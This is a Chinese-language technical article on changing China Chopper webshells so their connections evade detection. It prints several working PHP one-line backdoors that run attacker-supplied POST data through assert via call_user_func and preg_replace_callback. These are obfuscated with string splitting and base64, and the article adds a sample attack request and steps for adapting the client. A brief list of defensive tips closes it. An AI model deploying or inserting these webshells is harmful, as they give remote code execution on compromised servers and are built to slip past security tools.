通过修改源代码达到菜刀无特征链接
字数 1030 2025-08-26 22:11:45
通过修改源代码实现菜刀无特征链接的技术分析
0x01 前言
本文主要探讨如何通过修改源代码实现中国菜刀(China Chopper)Webshell的无特征连接技术。传统的一句话木马容易被安全防护设备检测,因此需要研究绕过检测的方法。
0x02 技术思路分析
在PHP环境中,实现无特征连接主要考虑以下三种技术路线:
- 类(Class)语法特性:利用PHP类的特性构造执行环境
- 函数(Function):通过函数封装执行代码
- 回调函数(Callback):利用PHP的回调函数机制执行代码
经过实际测试,前两种方法在assert函数中无法使用,因此重点研究回调函数技术。
0x03 回调函数技术实现
PHP中常用的回调函数有四种:
call_user_funccall_user_func_arrayarray_mappreg_replace_callback
3.1 基础Webshell代码
<?php
assert($_POST['xxx']);
?>
3.2 使用call_user_func实现
基本语法:
call_user_func(函数名, 参数1, 参数2);
应用到Webshell:
<?php
call_user_func('assert', $_POST['action']);
?>
3.3 绕过安全检测的改进方案
使用字符串拼接和base64编码绕过特征检测:
<?php
call_user_func('ass'.'ert', call_user_func(base64_decode, $_POST[action]));
?>
请求示例:
POST /shell.php HTTP/1.1
...
xxx=call_user_func('ass'.'ert',call_user_func(base64_decode,$_POST[action]))&action=%63%47%68%77%61%57%35%6d%62%79%67%70%4f%77%3d%3d
3.4 使用preg_replace_callback实现
更高级的实现方式:
<?php
function test($name){
$name[1](base64_decode($name[2]));
}
preg_replace_callback("/-(.*?)-(.*?)-/", 'test', "-assert-{$_POST['action']}-");
?>
0x04 中国菜刀配置修改
为了使中国菜刀能够正确连接这种特殊构造的Webshell,需要修改菜刀的配置文件:
- 修改请求参数格式,匹配新的回调函数结构
- 调整payload编码方式,确保与Webshell的解码逻辑一致
- 更新特征字符串,避免被防护设备识别
技术要点总结
- assert限制:在assert或eval中不能直接使用function和class
- 字符串混淆:使用字符串拼接('ass'.'ert')绕过简单特征检测
- 多层编码:结合base64和URL编码实现payload隐藏
- 回调函数选择:不同回调函数提供不同的混淆可能性
- 客户端适配:需要同步修改连接工具配置以匹配新的Webshell结构
防御建议
- 禁用危险函数:如
assert、eval、system等 - 监控回调函数使用:特别是动态函数调用
- 检查异常字符串拼接:关注非常规的字符串连接操作
- 实施行为分析:检测异常的base64解码链式调用
- 限制POST参数使用:特别是直接用于代码执行的参数
通过以上技术手段,可以实现较为隐蔽的Webshell连接,同时安全团队也需要针对这些技术特点更新防护策略。